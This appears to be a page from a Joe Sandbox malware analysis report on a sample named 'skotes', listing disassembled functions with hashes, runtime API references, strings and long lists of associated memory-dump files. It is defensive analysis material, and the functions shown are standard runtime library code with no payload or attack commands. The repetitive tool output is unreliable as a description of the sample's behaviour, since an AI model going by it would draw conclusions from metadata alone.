Instruction ID: d8cb4b42efb6dec70c2d021fdba2ae8145dac81c3ea118ba9d2b6d9dada21a84
Opcode Fuzzy Hash: b6865b66e864a21e97aa2864955645788825d225e5a0b1f4e3329ada4171ef12
Instruction Fuzzy Hash: C531D675A00214AFCF14EF64C881AADF3B5FF44324F284565ED21972C2EB70EE01DA90

Function 00C04E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00C04E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00C04E86
PMDtoOffset.LIBCMT ref: 00C04EAC

Strings

Bad dynamic_cast!, xrefs: 00C04EEE

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: caa97a3fc6fbf16c6e9150566f15c5a7c8bf287df0e627177f3596d78db31fe4
Instruction ID: a81d44bc8b346fc186be32bab41c8b8e16c6ad8ed9fe09c5646e9c1fc061a0c8
Opcode Fuzzy Hash: caa97a3fc6fbf16c6e9150566f15c5a7c8bf287df0e627177f3596d78db31fe4
Instruction Fuzzy Hash: 9121C9B2A04215AFCF18DF69DD46EABB7B8FB44724F104169FB20975C0D731EA00D691

Function 00C0727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00C072BE

Strings

.bat, xrefs: 00C072ED
.com, xrefs: 00C072FE
.exe, xrefs: 00C072CB
.cmd, xrefs: 00C072DC

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 518eb74a96e6cdcae0e25cc9ec64def4c2359f1c5894d3599876806e758bb435
Instruction ID: fe74df11bffdd9f5002f3f8e13ff29673a16054afc6667978394e752739d7249
Opcode Fuzzy Hash: 518eb74a96e6cdcae0e25cc9ec64def4c2359f1c5894d3599876806e758bb435
Instruction Fuzzy Hash: 76010437A08A2235F6285018AD02B6713889BC2FB4B26012AFC64F75C1EF44ED42B1E4

Function 00BEFA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00BEFB06

Strings

kernel32.dll, xrefs: 00BEFA7A
GetCurrentProcessorNumberEx, xrefs: 00BEFABE
GetThreadGroupAffinity, xrefs: 00BEFA93
SetThreadGroupAffinity, xrefs: 00BEFA87

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: f57886e9dc9f338b05fcbdbefd44897c0196e444f008cb78de6f5f9286ad62d6
Instruction ID: e2e53ef4d5c37178497b7bf6f1d27fc9985322fcc5411ab834c377cd481be65e
Opcode Fuzzy Hash: f57886e9dc9f338b05fcbdbefd44897c0196e444f008cb78de6f5f9286ad62d6
Instruction Fuzzy Hash: E401F53266036A699314B6766C8EBBF3AEC8A41A4472014BEB951E7292FEA4D8045260

Function 00C02097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00C020B7

Part of subcall function 00BFCAF3: Mailbox.LIBCMT ref: 00BFCB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00C020C8
StructuredWorkStealingQueue.LIBCMT ref: 00C020FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00C0210F

Strings

e, xrefs: 00C020D9

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 7b1399ff7c1268857ecc8f87a05da0a636fb9680511b973e1ec33eb4c594efb8
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 7511CA31100105ABDF15DE79C88966FB7A9EF01328B14C159FD169F1C2DB71ED05DB90

Function 00BED029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 00BED0A5

Strings

kernel32.dll, xrefs: 00BED04C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00BED03B
WakeAllConditionVariable, xrefs: 00BED069
SleepConditionVariableCS, xrefs: 00BED05D

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
